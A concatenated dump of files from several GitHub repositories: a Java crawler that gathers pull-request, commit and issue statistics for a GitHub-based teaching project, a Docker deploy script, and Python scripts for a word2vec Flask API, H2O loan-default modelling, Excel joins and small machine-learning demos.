for one hour!"); } commentsOfPull = JsonUtils.toList(resp); // if (commentsOfPull != null && commentsOfPull.size() > 0) // { writeToFile(jsonFile, JsonUtils.toString(commentsOfPull)); // } } else { // 直接读取文件 String json = readFileToString(jsonFile); commentsOfPull = JsonUtils.toList(json); } if (commentsOfPull != null) { List<Map<String, Object>> commentList // = new ArrayList<Map<String, Object>>(); for (Map<String, Object> map3 : commentsOfPull) { Map<String, Object> commentMap = new HashMap<String, Object>(); // 评论的用户 commentMap.put("login", ((Map<String, Object>) map3.get("user")).get("login")); // 评论内容 commentMap.put("body", map3.get("body")); commentMap.put("created_at", map3.get("created_at")); commentMap.put("updated_at", map3.get("updated_at")); commentList.add(commentMap); } pullMap.put("comments", commentList); } // 保存评论内容 } pullMap.put("review_comments", review_comments); pullMap.put("additions", additions); pullMap.put("deletions", deletions); pullMap.put("changed_files", changed_files); // 取回Commits信息 pullMap.put("commitCount", commitss); if (commitss > 0) { List<Map<String, Object>> commitList // = new ArrayList<Map<String, Object>>(); // 先检查文件 List<Map<String, Object>> list = null; jsonFile = new File(file, "/src/json/pulls/" + number + "_commits.json"); if (!jsonFile.exists()) { String url = PULLS + "/" + number + "/commits" + "?" + CLIENT_ID_SECRET; String resp = Http.get(url); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } list = JsonUtils.toList(resp); writeToFile(jsonFile, JsonUtils.toString(list)); } else { // 直接读取文件 String json = readFileToString(jsonFile); list = JsonUtils.toList(json); } for (Map<String, Object> map2 : list) { String sha = (String) map2.get("sha"); Map<String, Object> dataMap = null; jsonFile = new File(file, "/src/json/commits/" + sha + ".json"); if (!jsonFile.exists()) { String url = COMMITS + "/" + sha + "?" + CLIENT_ID_SECRET; String resp = Http.get(url); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } dataMap = JsonUtils.toMap(resp); writeToFile(jsonFile, JsonUtils.toString(dataMap)); } else { // 直接读取文件 String json = readFileToString(jsonFile); dataMap = JsonUtils.toMap(json); } // 保存统计数据 Map<String, Object> commitMap = new HashMap<String, Object>(); commitMap.put("sha", sha); commitMap.put("url", dataMap.get("url")); Map<String, Object> statsMap = (Map<String, Object>) dataMap.get("stats"); commitMap.put("additions", statsMap.get("additions")); commitMap.put("deletions", statsMap.get("deletions")); List<Object> files = (List<Object>) dataMap.get("files"); commitMap.put("changed_files", files != null ? files.size() : 0); // 评论数 int commentCount = (Integer) ((Map<String, Object>) dataMap.get("commit")).get("comment_count"); commitMap.put("commentCount", commentCount); if (commentCount > 0) { jsonFile = new File(file, "/src/json/comments/" + sha + ".json"); List<Map<String, Object>> commentsOfCommit = null; if (!jsonFile.exists()) { String url = (String) dataMap.get("comments_url") + "?" + CLIENT_ID_SECRET; String resp = Http.get(url); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } commentsOfCommit = JsonUtils.toList(resp); // if (commentsOfCommit != null && // commentsOfCommit.size() > 0) { writeToFile(jsonFile, JsonUtils.toString(commentsOfCommit)); // } } else { // 直接读取文件 String json = readFileToString(jsonFile); commentsOfCommit = JsonUtils.toList(json); } if (commentsOfCommit != null && commentsOfCommit.size() > 0) { List<Map<String, Object>> commentList // = new ArrayList<Map<String, Object>>(); for (Map<String, Object> map3 : commentsOfCommit) { Map<String, Object> commentMap = new HashMap<String, Object>(); // 评论的用户 commentMap.put("login", ((Map<String, Object>) map3.get("user")).get("login")); // 评论内容 commentMap.put("body", map3.get("body")); commentMap.put("created_at", map3.get("created_at")); commentMap.put("updated_at", map3.get("updated_at")); commentList.add(commentMap); } commitMap.put("comments", commentList); } } commitList.add(commitMap); } pullMap.put("commits", commitList); } pullList.add(pullMap); } // 取回Issue列表 jsonFile = getJsonFile("issues"); List<Map<String, Object>> issues = new ArrayList<Map<String, Object>>(); if (jsonFile == null // 还没有文件;或者未读取完 || !jsonFile.getName().equals("issues.json")) { int total = 0; // 检查分页数 int pages = 1; if (jsonFile != null) { // 页数在文件名中 // 格式为:issues-{未读取页数}.json String filename = jsonFile.getName(); String pageStr = filename.replace("issues-", ""); pageStr = filename.replace(".json", ""); pages = NumberUtils.toInt(pageStr, 1); // 读取原有内容 String json = readFileToString(jsonFile); if (json != null) { issues = JsonUtils.toList(json); } } // 从GitHub取数据 String url = ISSUES + "?" + CLIENT_ID_SECRET + "&" + PER_PAGE + "100&" + PAGE; String resp = Http.get(url + pages); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } boolean end = false; while (resp != null && resp.startsWith("[")) { List<Map<String, Object>> list = JsonUtils.toList(resp); System.out.println("取到Issues数:" + list.size()); if (list.size() > 0) { total += list.size(); issues.addAll(list); resp = Http.get(url + ++pages); } else { end = true; break; } } System.out.println("Issues总数:" + total); // 修改文件名 String filename = "issues-" + pages + ".json"; if (end) { filename = "issues.json"; } File newFile = new File(file.getAbsolutePath() // + "/src/json/" + filename); // 新文件 if (jsonFile == null) { jsonFile = newFile; } else if (!filename.equals(jsonFile.getName())) { jsonFile.renameTo(newFile); } if (pulls.size() > 0) { writeToFile(jsonFile, JsonUtils.toString(pulls)); } } else { // 直接读取文件 String json = readFileToString(jsonFile); issues = JsonUtils.toList(json); } // 读取每一条Issue的内容 System.out.println(issues.size()); for (Map<String, Object> issue : issues) { Map<String, Object> map = null; int number = (Integer) issue.get("number"); // 有可能是Pull jsonFile = new File(file, "/src/json/pulls/" + number + ".json"); if (jsonFile.exists()) { continue; // 是Pull,跳过。 } // 检查文件 jsonFile = new File(file, "/src/json/issues/" + number + ".json"); if (!jsonFile.exists()) { // 不存在,从GitHub抓取 String url = ISSUES + "/" + number + "?" + CLIENT_ID_SECRET; String resp = Http.get(url); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } map = JsonUtils.toMap(resp); // 判断是不是Issue html_url String htmlUrl = (String) map.get("html_url"); if (htmlUrl.contains("/issues/")) { // 是 writeToFile(jsonFile, JsonUtils.toString(map)); } } else { // 直接读取文件 String json = readFileToString(jsonFile); map = JsonUtils.toMap(json); } // 检查事件文件 File eventsFile = new File(file, "/src/json/issues/" + number + "_events.json"); List<Map<String, Object>> events = new ArrayList<Map<String, Object>>(); if (!eventsFile.exists()) { // 文件不存在,先去GitHub查询 String url = (String) map.get("events_url"); String resp = url != null ? Http.get(url + "?" + CLIENT_ID_SECRET) : null; if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } events = JsonUtils.toList(resp); writeToFile(eventsFile, JsonUtils.toString(events)); } else { // 直接读取文件 String json = readFileToString(jsonFile); events = JsonUtils.toList(json); } } // 将结果保存为JSON jsonFile = new File(file, "/src/json/result.json"); writeToFile(jsonFile, JsonUtils.toString(result)); // 打印统计列表 System.out.println( "Login\t\t\t\tNumber\t\t\tPulls\t\tCommits\t\tAdditions\tDeletions\tChanged Files\tComments\tReview Comments"); for (String key : all.keySet()) { Stats stats = all.get(key); String showKey = key; // System.out.print(key); if (key.length() >= 24) { showKey = key.length() >= 28 ? key.substring(0, 24) + "... " : key; showKey += "\t"; } else if (key.length() >= 8) { showKey += "\t\t\t"; } else { showKey += "\t\t\t\t"; } System.out.print(showKey); System.out.print(stats.number + "\t\t"); System.out.print(stats.pulls + "\t\t"); System.out.print(stats.commits + "\t\t"); System.out.print(stats.additions + "\t\t"); System.out.print(stats.deletions + "\t\t"); System.out.print(stats.changed_files + "\t\t"); System.out.print(stats.comments + "\t\t"); System.out.print(stats.review_comments + "\t"); System.out.println(); } System.out.println("学生人数:" + all.keySet().size()); } private static File getJsonFile(final String prefix) { File root = new File("./"); File dir = new File(root.getAbsolutePath(), "/src/json/"); File[] files = dir.listFiles(new FilenameFilter() { public boolean accept(File dir, String name) { File file = new File(dir, name); return file.isFile() && name.startsWith(prefix) && name.endsWith(".json"); } }); return files != null && files.length > 0 ? files[0] : null; } private static String readFileToString(File jsonFile) { try { System.out.println("Read from " + jsonFile.getAbsolutePath()); BufferedReader reader = new BufferedReader( // new FileReader(jsonFile)); StringBuilder json = new StringBuilder(); String line = reader.readLine(); while (line != null) { json.append(line + "\n"); line = reader.readLine(); } reader.close(); return json.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return null; } private static void writeToFile(File jsonFile, String json) { try { // 保存到文件 System.out.println("Write to " + jsonFile.getAbsolutePath()); FileWriter fileWriter = new FileWriter(jsonFile); fileWriter.write(json); fileWriter.close(); } catch (IOException e) { e.printStackTrace(); } } } class Stats { String number; String login; int additions; int deletions; int pulls; int commits; int changed_files; int comments; int review_comments; } ``` README.md ```# GitHub-based Experimental Teaching 基于GitHub平台的协同式实验教学方法[J]. 计算机教育, 2016(12):144-148. Connected domain: http://www.zengsn.com ``` README.md ```直接使用Eclipse for JavaEE导入此工程即可。 - 程序配置在 Api.java - 主程序在 App.java ```
zengweigang/pt-nginx-php-tomcat
zengweigang/pt-nginx-php-tomcat deploy.sh ```#!/bin/bash -xe docker build -t zengweigang/daydayup:pt-nginx-php-tomcat-${TRAVIS_BUILD_NUMBER} . set +x docker login -u ${DOCKER_USER} -p ${DOCKER_PASSWORD} -e zengweigang@gmail.com set -x docker push zengweigang/daydayup:pt-nginx-php-tomcat-${TRAVIS_BUILD_NUMBER} docker tag zengweigang/daydayup:pt-nginx-php-tomcat-${TRAVIS_BUILD_NUMBER} zengweigang/daydayup:pt-nginx-php-tomcat-latest docker push zengweigang/daydayup:pt-nginx-php-tomcat-latest```
zengxijin/PythonHub
zengxijin/PythonHub README.md ```# PythonHub python projects ``` word2vec_predictor.py ```import gensim import base64 import logging import traceback from flask import Flask, jsonify, request app = Flask(__name__) # global var model = gensim.models.Word2Vec.load('/home/zengxj/python/node_vector_training_cash.model') def sim(node_id, topn, inputs): new_data = [] for i in xrange(1, len(inputs)): tokens = inputs[i].strip().split(',') for j in xrange(1, len(tokens)): tmp = [] tmp.append(tokens[0]) tmp.append(tokens[j]) new_data.append(tmp) model.build_vocab(new_data, update=True) model.train(new_data, total_examples=model.corpus_count, epochs=model.iter) sim_vec = model.most_similar(positive=[node_id], topn=int(topn)) result_data = [] for i in xrange(0, len(sim_vec)): result_data.append(sim_vec[i][0]) return result_data @app.route('/ml/api/v1.0/sim', methods=['POST']) def sim_api(): req = request.json app.logger.info(req) # channel info client_id = req['clientId'] # service flag, can used to route in future service = req['service'] # parse the params tmp_kv = {} if 'params' in req: params_list = req['params'] if len(params_list) > 1: for kv in params_list: key = kv['key'] val = kv['value'] is_base64 = kv['base64'] if is_base64: tmp_kv[key] = base64.b64decode(val) else: tmp_kv[key] = val # print ('key:%s value:%s base64:%s' % (key, val, is_base64)) else: app.logger.warning('params is empty') node_id = tmp_kv['inputs'].split(',')[0] topn = tmp_kv['topn'] inputs = tmp_kv['inputs'].split(' ') # print tmp_kv # print node_id # print topn # print inputs try: sim_result = sim(node_id, topn, inputs) except Exception: app.logger.error('trace: %s', traceback.format_exc()) else: app.logger.info('sim result: %s', sim_result) print sim_result return jsonify({'result': sim_result}) if __name__ == '__main__': handler = logging.FileHandler('sim.log', encoding='UTF-8') handler.setLevel(logging.DEBUG) logging_format = logging.Formatter( '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s') handler.setFormatter(logging_format) app.logger.addHandler(handler) app.debug = True app.run(host='0.0.0.0') ``` h2o_py.py ```import h2o import subprocess from h2o.estimators.gbm import H2OGradientBoostingEstimator # (0)初始化 h2o.init() # (1)加载数据 data = "./data/loan.csv" loans = h2o.import_file(path=data) loans["bad_loan"] = loans["bad_loan"].asfactor() print("total records: %s" % len(loans)) Y = "bad_loan" X = ["loan_amnt", "longest_credit_length", "revol_util", "emp_length", "home_ownership", "annual_inc", "purpose", "addr_state", "dti", "delinq_2yrs", "total_acc", "verification_status", "term"] # (2)训练和验证数据拆分,80%训练,20%验证 rand = loans.runif(seed=10086) # 添加一列数据[0,1)之间,(使用h2o.spiltFrame()这种方式也可以拆分) train = loans[rand <= 0.8] valid = loans[rand > 0.8] print("train data records: %s (%s)" % (len(train), len(train) / len(loans))) print("valid data records: %s (%s)" % (len(valid), len(valid) / len(loans))) # use GBM algorithm, and set the hyperparameters(超参) model = H2OGradientBoostingEstimator(score_each_iteration=True, ntrees=100, max_depth=5, learn_rate=0.05, model_id="GBMForLoanPredict") # (3)train and predict model.train(x=X, y=Y, training_frame=train, validation_frame=valid) print(model) # Getting all cross validated models # all_models = model.cross_validation_models() # nfolds才有 # print("Total cross validation models: %s" % len(all_models)) mojo_file_name = "D:/github/PythonHub/h2o-work/GBM_ForLoanPredict.zip" h2o_jar_path = 'D:/github/PythonHub/h2o-work/venv/Lib/site-packages/h2o/backend/bin/h2o.jar' mojo_full_path = mojo_file_name gv_file_path = "D:/github/PythonHub/h2o-work/GBM_ForLoanPredict.gv" image_file_name = "D:/github/PythonHub/h2o-work/GBM_ForLoanPredict.png" model.download_mojo(mojo_file_name) def generateTree(h2o_jar_path, mojo_full_path, gv_file_path, image_file_path, tree_id=0): result = subprocess.call( ["java", "-cp", h2o_jar_path, "hex.genmodel.tools.PrintMojo", "--tree", str(tree_id), "-i", mojo_full_path, "-o", gv_file_path], shell=False) print("Graphviz file " + gv_file_path + " is generated.") # result = subprocess.call(["ls", gv_file_path], shell=False) # can't run in windows # if result is 0: # print("Success: Graphviz file " + gv_file_path + " is generated.") # else: # print("Error: Graphviz file " + gv_file_path + " could not be generated.") win_graphviz_path = "C:/Program Files (x86)/Graphviz2.38/bin" def generateTreeImage(gv_file_path, image_file_path, tree_id): image_file_path = image_file_path + "_" + str(tree_id) + ".png" import sys sys.path.append(win_graphviz_path) result = subprocess.call(["dot", "-Tpng", gv_file_path, "-o", image_file_path], shell=False) # result = subprocess.call(["ls", image_file_path], shell=False) # if result is 0: # print("Success: Image File " + image_file_path + " is generated.") # print("Now you can execute the follow line as-it-is to see the tree graph:") # print("Image(filename='" + image_file_path + "\')") # else: # print("Error: Image file " + image_file_path + " could not be generated.") # Just change the tree id in the function below to get which particular tree you want generateTree(h2o_jar_path, mojo_full_path, gv_file_path, image_file_name, 0) # Note: If this step hangs, you can look at "dot" active process in osx and try killing it generateTreeImage(gv_file_path, image_file_name, 3) # g = Graph(format='gv', filename=gv_file_path) # g.render(format='png', filename=image_file_name, view=False) ``` tree_visual.py ```import subprocess import sys from graphviz import Graph gv_file_path = "D:/github/PythonHub/h2o-work/GBM_ForLoanPredict.gv" image_file_name = "D:/github/PythonHub/h2o-work/gbm_tree.png" win_install_graphviz_path = "C:\\Program Files (x86)\\Graphviz2.38\\bin\\" def generateTreeImage(gv_file_path, image_file_path): result = subprocess.call([win_install_graphviz_path + "dot", "-Tpng", gv_file_path, "-o", image_file_path], shell=True) generateTreeImage(gv_file_path, image_file_name) ``` foo.py ```def fooFun(): print ("empty param") def fooIntFun(int_param): print ("input", int_param) def multiParamFun(name, age): print ("name", name) print ("age", age) if __name__ == '__main__': print ("hello python") fooFun() fooIntFun(100) multiParamFun("jack", 29) ``` h2o_pojo.py ```import h2o h2o.init() model = h2o.load_model("GBM_ForLoanPredict.zip") h2o.download_pojo(model, path='./', get_jar=True) ``` urlOps.py ```import urllib def open_url(url): handler = urllib.urlopen(url) file_handler = open("content.txt", "wb") while 1: data = handler.read(1024) if not data: break file_handler.write(data) file_handler.close() handler.close() if __name__ == '__main__': open_url("http://www.jb51.net/article/65167.htm") ``` flask_rest.py ```# pip install flask # Ctrl + F5 from flask import Flask, jsonify, abort, make_response, request app = Flask(__name__) @app.route('/') def index(): return "test rest" jsons = [ { 'int_type': 1, 'string_type': u'String value one', 'boolean_type': False }, { 'int_type': 2, 'string_type': u'String value two', 'boolean_type': True } ] # test for get # @app.route('/ml/api/v1.0/sim', methods=['GET']) # def get_api(): # return jsonify({'types': jsons}) # test for with url params @app.route('/ml/api/v1.0/sim/<int:id>', methods=['GET']) def get_api_param(id): json = filter(lambda t: t['int_type'] == id, jsons) if len(json) == 0: abort(404) return jsonify({'types': json[0]}) # custom error handler @app.errorhandler(404) def not_found(error): print error return make_response(jsonify({'error': 'not found'}), 404) @app.route('/ml/api/v1.0/sim', methods=['POST']) def post_api(): print request.json req = request.json params = req['params'] print params[0]['key'] return jsonify({'a': '2'}) if __name__ == '__main__': app.debug = True app.run(host='0.0.0.0') ``` GensimTest.py ```from gensim import corpora from gensim import models from gensim import similarities trainTexts = [['human', 'interface', 'computer'], ['survey', 'user', 'computer', 'system', 'response', 'time'], ['eps', 'user', 'interface', 'system'], ['system', 'human', 'system', 'eps'], ['user', 'response', 'time'], ['trees'], ['graph', 'trees'], ['graph', 'minors', 'trees'], ['graph', 'minors', 'survey']] dictionary = corpora.Dictionary(trainTexts) corpus = [dictionary.doc2bow(text) for text in trainTexts] print corpus # 完成对corpus中出现的每一个特征的IDF值的统计工作 tfidf = models.TfidfModel(corpus) doc_bow = [(0, 1), (1, 1)] print tfidf[doc_bow] # 将模型持久化到磁盘上 tfidf.save("./model.tfidf") # 加载已存在的模型 # tfidf = models.TfidfModel.load("./model.tfidf") # 构造LSI模型并将待检索的query和文本转化为LSI主题向量 # 转换之前的corpus和query均是BOW向量 lsi_model = models.LsiModel(corpus, id2word=dictionary, num_topics=2) documents = lsi_model[corpus] # 输入的查询以及转为一样的lsi模型 query = dictionary.doc2bow(['human', 'wqewq', 'fdffgdf']) query_vec = lsi_model[query] # 相似度计算 index = similarities.MatrixSimilarity(documents) sims = index[query_vec] print sims class MyCorpus(object): def __iter__(self): for line in open('input.txt'): # assume there's one document per line, tokens separated by # whitespace yield dictionary.doc2bow(line.lower.split()) ``` Word2VecInc.py ```# imput sample: # run command sample: ./Word2VecInc.py 51 -4997816680341835271,-3316483741552779112,747873468606477381,527339124957220179,1614505455050530776,-5768653493889486991,-384548834315283201,-5395980713609502551,6207235105550302889,4452483878111425273,-2821110282058078629 -4997816680341835271,-3316483741552779112,747873468606477381,527339124957220179,1614505455050530776,-5768653493889486991,-384548834315283201,-5395980713609502551,6207235105550302889,4452483878111425273,-2821110282058078629 # sys.argv[0] = Word2VecInc.py # sys.argv[1] = 51 # sys.argv[2] = -4997816680341835271,-3316483741552779112,747873468606477381,527339124957220179,1614505455050530776,-5768653493889486991,-384548834315283201,-5395980713609502551,6207235105550302889,4452483878111425273,-2821110282058078629 # sys.argv[3] = -4997816680341835271,-3316483741552779112,747873468606477381,527339124957220179,1614505455050530776,-5768653493889486991,-384548834315283201,-5395980713609502551,6207235105550302889,4452483878111425273,-2821110282058078629 import sys import gensim model = gensim.models.Word2Vec.load( '/home/zengxj/python/node_vector_training_cash.model') new_data = [] node_id = sys.argv[2].strip().split(',')[0] # If incremental train is needed, there should be at least 12 arguments if (len(sys.argv) > 3): for i in xrange(2, len(sys.argv)): tokens = sys.argv[i].strip().split(',') for j in xrange(1, len(tokens)): tmp = [] tmp.append(tokens[0]) tmp.append(tokens[j]) new_data.append(tmp) model.build_vocab(new_data, update=True) model.train(new_data, total_examples=model.corpus_count, epochs=model.iter) sim_vec = model.most_similar(positive=[node_id], topn=int(sys.argv[1])) print "result:" for i in xrange(0, len(sim_vec)): print sim_vec[i][0], ``` cls_tunning.py ```GLOBAL_VAR = ('GLOBAL_VAR') # 全局常量,大写字母,下划线分割 # 类名,以驼峰式命名,要求以object作为继承类 # 继承自 object 是为了使属性(properties)正常工作 # 使其不受Python 3000的一个特殊的潜在不兼容性影响. 同时也实现了object的默认语义 class BaseClass(object): class_var = 'class_var' # 类变量 def __init__(self): # 构造函数 self.inst_var = 'inst_var' # 成员变量 self._mod_or_protected_var = '_mod_or_protected_var' # 模块变量或者protected变量,以单个下划线开头 self.__private__var = '__private__var' # 私有变量,以双下划线开头 def inst_method(self, param): # public实例函数,以self开头变量的函数 print(self.__private__var) print(param) def _mod_protected_method(self): # 模块或者protected方法,以单个下划线开头,其他模块import * from时候不会导入 pass def __private_method(self): # 私有方法,以双下划线开头 pass @classmethod def class_method(cls, var): # 类方法,第一个参数是cls,用classmethod修饰 print(var) @staticmethod def static_method(param): # 静态方法,没有self或者cls作为第一个参数,staticmethod注解修饰 print(param) ``` h2o_loan_app.py ```""" author zengxijin created on 2018/10/31 """ import h2o import subprocess from h2o.estimators.gbm import H2OGradientBoostingEstimator # (0)初始化 h2o.init() # (1)加载数据 data = "./data/loan.csv" loans = h2o.import_file(path=data) loans["bad_loan"] = loans["bad_loan"].asfactor() print("total records: %s" % len(loans)) Y = "bad_loan" X = ["loan_amnt", "longest_credit_length", "revol_util", "emp_length", "home_ownership", "annual_inc", "purpose", "addr_state", "dti", "delinq_2yrs", "total_acc", "verification_status", "term"] # (2)训练和验证数据拆分,80%训练,20%验证 rand = loans.runif(seed=10086) # 添加一列数据[0,1)之间,(使用h2o.spiltFrame()这种方式也可以拆分) train = loans[rand <= 0.8] valid = loans[rand > 0.8] print("train data records: %s (%s)" % (len(train), len(train) / len(loans))) print("valid data records: %s (%s)" % (len(valid), len(valid) / len(loans))) # use GBM algorithm, and set the hyperparameters(超参) model = H2OGradientBoostingEstimator(score_each_iteration=True, ntrees=100, max_depth=5, learn_rate=0.05, model_id="GBMForLoanPredict") # (3)train and predict model.train(x=X, y=Y, training_frame=train, validation_frame=valid) print(model) work_dir = "D:/github/PythonHub/h2o-work" mojo_file_path = work_dir + "/GBM_ForLoanPredict.zip" h2o_jar_path = work_dir + "/venv/Lib/site-packages/h2o/backend/bin/h2o.jar" gv_file_path = work_dir + "/GBM_ForLoanPredict.gv" image_file_path = work_dir + "/GBM_ForLoanPredict.png" win_install_graphviz_path = "C:\\Program Files (x86)\\Graphviz2.38\\bin\\" # 保存MOJO模型 model.download_mojo(mojo_file_path, get_genmodel_jar=True) h2o.download_pojo(model, path='/Users/your_user_name/Desktop/', get_jar=True) def generateTree2Gv(h2o_jar_path, mojo_file_path, gv_file_path, tree_id=0): result = subprocess.call( ["java", "-cp", h2o_jar_path, "hex.genmodel.tools.PrintMojo", "--tree", str(tree_id), "-i", mojo_file_path, "-o", gv_file_path], shell=False) print("Graphviz file " + gv_file_path + " is generated.") def generateTreeImage(gv_file_path, image_file_path): result = subprocess.call([win_install_graphviz_path + "dot", "-Tpng", gv_file_path, "-o", image_file_path], shell=True) # generateTree2Gv(h2o_jar_path, mojo_file_path, gv_file_path, 0) # generateTreeImage(gv_file_path, image_file_path) # 或者cd到目录C:\Program Files (x86)\Graphviz2.38\bin,执行以下命令,生成决策树的图 # dot -Tpng D:/github/PythonHub/h2o-work/GBM_ForLoanPredict.gv -o D:/github/PythonHub/h2o-work/GBM_ForLoanPredict.png ``` excel.py ```#coding=utf-8 """ Created on 2018-6-21 10:30:47 @author: xijin.zeng """ from pyexcel_xls import save_data from pyexcel_xls import get_data from collections import OrderedDict # get the number index from alphabet column name def get_index_by_col(column_index): if len(column_index) == 1: # A-Z => total columns 26 return ord(column_index) - 64 - 1 if len(column_index) == 2: # AA - ZZ => total columns 26 + 26*26 return 26*(ord(column_index[0]) - 64) + ord(column_index[-1]) - 64 - 1 def save_to_file(sheet_data, sheet_name, file_name): file_data = OrderedDict() file_data.update({sheet_name: sheet_data}) save_data(file_name, file_data) # usage: # x_start_col: x param start column in excel # x_end_col: x param end column in excel # x_file_path: x param excel file path # x_sheet_name: specific sheet name of x param file in excel # x_join_col: x param column for join # x_header_index: x header column index # y_file_path: y param excel file path # y_join_col: y param column for join # y_output_cols: after join output columns, list values, example:['A','B'] # y_header_index: y header column index def extract_xy(x_start_col, x_end_col, x_file_path, x_sheet_name, x_join_col, x_header_index, y_file_path, y_join_col, y_output_cols, y_header_index): x_sheet_name_decode = x_sheet_name.decode('utf-8') # for Chinese sheet name x_file_data = get_data(x_file_path) y_file_data = get_data(y_file_path) join_data_buffer = [] # process x file x_sheet_data = x_file_data.items()[0][1] # default to get the first sheet if x_sheet_name_decode is not '': x_sheet_data = x_file_data[x_sheet_name_decode] x_header = x_sheet_data[x_header_index - 1] x_join_index = get_index_by_col(x_join_col) y_join_index = get_index_by_col(y_join_col) x_start_index = get_index_by_col(x_start_col) x_end_index = get_index_by_col(x_end_col) # process y file y_sheet_data = y_file_data.items()[0][len(y_file_data)] y_data = y_sheet_data[1:len(y_sheet_data)] # exclude header y_header = y_sheet_data[y_header_index - 1] xy_header = x_header[x_start_index:x_end_index + 1] for h in y_output_cols: h_index = get_index_by_col(h) xy_header.append(y_header[h_index]) join_data_buffer.append(xy_header) for y_row in y_data: for x_row in x_sheet_data: if len(x_row) >= (x_join_index+1): if len(y_row) >= (y_join_index+1): val_src = x_row[x_join_index] val_dst = y_row[y_join_index] if val_src == val_dst: print 'match src:' + val_src + ' dst:' + val_dst x_row_clone = x_row[x_start_index:x_end_index + 1] for y_output_col in y_output_cols: y_output_index = get_index_by_col(y_output_col) if len(y_row) >= (y_output_index+1): y_val = y_row[y_output_index] x_row_clone.append(y_val) else: x_row_clone.append(u'') # if y_row have no y value # watch out! join_data_buffer.append(x_row_clone) else: print "couldn't to find y join value, target index:" + y_join_index print "length:" + str(len(y_row)) print y_row else: print "couldn't to find x join value, target index:" + str(x_join_index) print "length:" + str(len(x_row)) print x_row print 'total size: %s' % len(join_data_buffer) return join_data_buffer def start_extract_and_join(x_start_col, x_end_col, x_file_path, x_sheet_name, x_join_col, x_header_index, y_file_path, y_join_col, y_output_cols, y_header_index, sheet_name, file_name): data = extract_xy(x_start_col, x_end_col, x_file_path, x_sheet_name, x_join_col, x_header_index, y_file_path, y_join_col, y_output_cols, y_header_index) if len(data) > 0: save_to_file(data, sheet_name, file_name) print "join finished, join total rows: %s, output file: %s" % (len(data), file_name) else: print "warn: no data match join, process finished" # demo if __name__ == '__main__': # -------------------信用------------------- # ZRobot信用 start_extract_and_join('E', 'U', r'jd-hits.xlsx', '信用', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "credit_zrobot_data.xlsx") # 小白信用 start_extract_and_join('V', 'AB', r'jd-hits.xlsx', '信用', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "credit_xiaobai_data.xlsx") # 金融画像 start_extract_and_join('AC', 'AG', r'jd-hits.xlsx', '信用', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "credit_fin_profile_data.xlsx") # 网购画像 start_extract_and_join('AH', 'AQ', r'jd-hits.xlsx', '信用', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "credit_online_shopping_data.xlsx") # 消费画像 start_extract_and_join('AR', 'BD', r'jd-hits.xlsx', '信用', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "credit_consume_profile_data.xlsx") # -------------------营销------------------- # 基本画像 start_extract_and_join('D', 'G', r'jd-hits.xlsx', '营销', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "promotion_basic_profile_data.xlsx") # 需求画像 start_extract_and_join('H', 'M', r'jd-hits.xlsx', '营销', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "promotion_demand_profile_data.xlsx") # 营销画像 start_extract_and_join('N', 'U', r'jd-hits.xlsx', '营销', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "promotion_profile_data.xlsx") # -------------------反欺诈------------------- # 黑名单—Zrobot start_extract_and_join('D', 'F', r'jd-hits.xlsx', '反欺诈', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "antifraud_blacklist_zrobot_data.xlsx") # 黑名单—天机 start_extract_and_join('L', 'N', r'jd-hits.xlsx', '反欺诈', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "antifraud_blacklist_tianji_data.xlsx") # 欺诈评分 start_extract_and_join('O', 'P', r'jd-hits.xlsx', '反欺诈', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "antifraud_score_data.xlsx") # 手机号画像 start_extract_and_join('Q', 'S', r'jd-hits.xlsx', '反欺诈', 'C', 2, r'mapping.xlsx', 'C', ['D', 'E', 'F'], 1, "Sheet0", "antifraud_phone_profile_data.xlsx")``` bgd_sample.py ```# -*- coding: utf-8 -*- """ 这是一个梯度下降算法来求参数的一个线性回归的例子 """ ''' 模型假设 ''' # 假设f(x1,x2;θ)= x1*θ1 + x2*θ2 # 这是一个多参数的线性回归函数 ''' 样本 ''' input_x1x2 = [[1, 3], [3, 6], [3, 4], [5, 6]] output_y = [11, 24, 18, 28] ''' 超参初始化 ''' # 参数随机初始化 theta_params = [1, 1] learn_rate = 0.01 # 学习率 expect_err = 0.0001 # 误差 loss = 10 # 一次迭代累加残差和 theta_1_gradient = [0, 0, 0, 0] theta_2_gradient = [0, 0, 0, 0] ''' 循环控制,控制训练收敛 ''' max_iterations = 10000 # 最大迭代次数 cur_iterations = 0 # 当前迭代次数 while (loss > expect_err and cur_iterations < max_iterations): loss = 0 err_sum_1 = 0 err_sum_2 = 0 for i in range(4): predict_value = theta_params[0] * input_x1x2[i][0] + theta_params[1] * input_x1x2[i][1] theta_1_gradient[i] = (predict_value - output_y[i]) * input_x1x2[i][0] theta_2_gradient[i] = (predict_value - output_y[i]) * input_x1x2[i][1] err_sum_1 = err_sum_1 + theta_1_gradient[i] err_sum_2 = err_sum_2 + theta_2_gradient[i] theta_params[0] = theta_params[0] - learn_rate * err_sum_1 / 4 theta_params[1] = theta_params[1] - learn_rate * err_sum_2 / 4 for i in range(4): predict_value = theta_params[0] * input_x1x2[i][0] + theta_params[1] * input_x1x2[i][1] error = 1 / (2 * 4) * (predict_value - output_y[i]) 